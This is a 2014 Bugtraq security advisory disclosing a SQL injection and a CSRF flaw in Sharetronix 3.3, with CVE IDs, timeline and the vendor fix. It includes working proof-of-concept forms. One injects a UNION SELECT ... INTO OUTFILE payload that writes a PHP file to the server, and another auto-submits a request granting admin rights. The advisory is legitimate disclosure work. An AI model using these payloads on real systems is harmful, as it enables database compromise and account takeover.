bugtraq - Multiple vulnerabilities in Sharetronix

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Message-Id: <20140528102202.519952CE04EC@htbridge.ch>
Date: Wed, 28 May 2014 12:22:02 +0200 (CEST)
From: High-Tech Bridge Security Research <advisory@...ridge.com>
To: bugtraq@...urityfocus.com
Subject: Multiple vulnerabilities in Sharetronix

Advisory ID: HTB23214
Product: Sharetronix
Vendor: Blogtronix, LLC
Vulnerable Version(s): 3.3 and probably prior
Tested Version: 3.3
Advisory Publication:  May 7, 2014  [without technical details]
Vendor Notification: May 7, 2014 
Vendor Patch: May 27, 2014 
Public Disclosure: May 28, 2014 
Vulnerability Type: SQL Injection [CWE-89], Cross-Site Request Forgery [CWE-352]
CVE References: CVE-2014-3414, CVE-2014-3415
Risk Level: High 
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Sharetronix, which can be exploited to perform SQL injection and Сross-Site Request Forgery (CSRF) attacks against vulnerable application. A remote hacker can gain full control over the application. 

1) SQL Injection in Sharetronix: CVE-2014-3415

Input passed via the "invite_users[]" HTTP POST parameter to "/[group_name]/invite" URI is not properly sanitised before being used in SQL query. A remote attacker can send a specially crafted HTTP POST request and execute arbitrary SQL commands in application's database.

The following exploit code below creates a file "file.php" within the home directory of MySQL server with output of the "phpinfo()" PHP function in:

<form action="http://[host]/[group_name]/invite" method="post" name="main">
<input type="hidden" name="invite_users[]" value='0" UNION SELECT "<? phpinfo(); ?>",2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 INTO OUTFILE "file.php" -- '>
<input type="submit" id="btn">
</form>

The attacker must be registered and logged-in (the registration is open by default). The attacker also must initially create a group (action allowed by default), in our example the group name is "group_name".

2) Сross-Site Request Forgery (CSRF) in Sharetronix: CVE-2014-3414

The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to open a web page with CSRF exploit and grant administrative privileges to arbitrary existing user of the vulnerable application. The registration is open by default. 

The following CSRF exploit below grants administrative privileges to the user "username":

<form action="http://[host]/admin/administrators" method="post" name="main">
<input type="hidden" name="admin" value="username">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>

-----------------------------------------------------------------------------------------------

Solution:

Update to Sharetronix 3.4

More Information:
http://developer.sharetronix.com/download

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23214 - https://www.htbridge.com/advisory/HTB23214 - Multiple vulnerabilities in Sharetronix.
[2] Sharetronix - http://sharetronix.com/ - Sharetronix is a Secure Social Network for Your Company.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.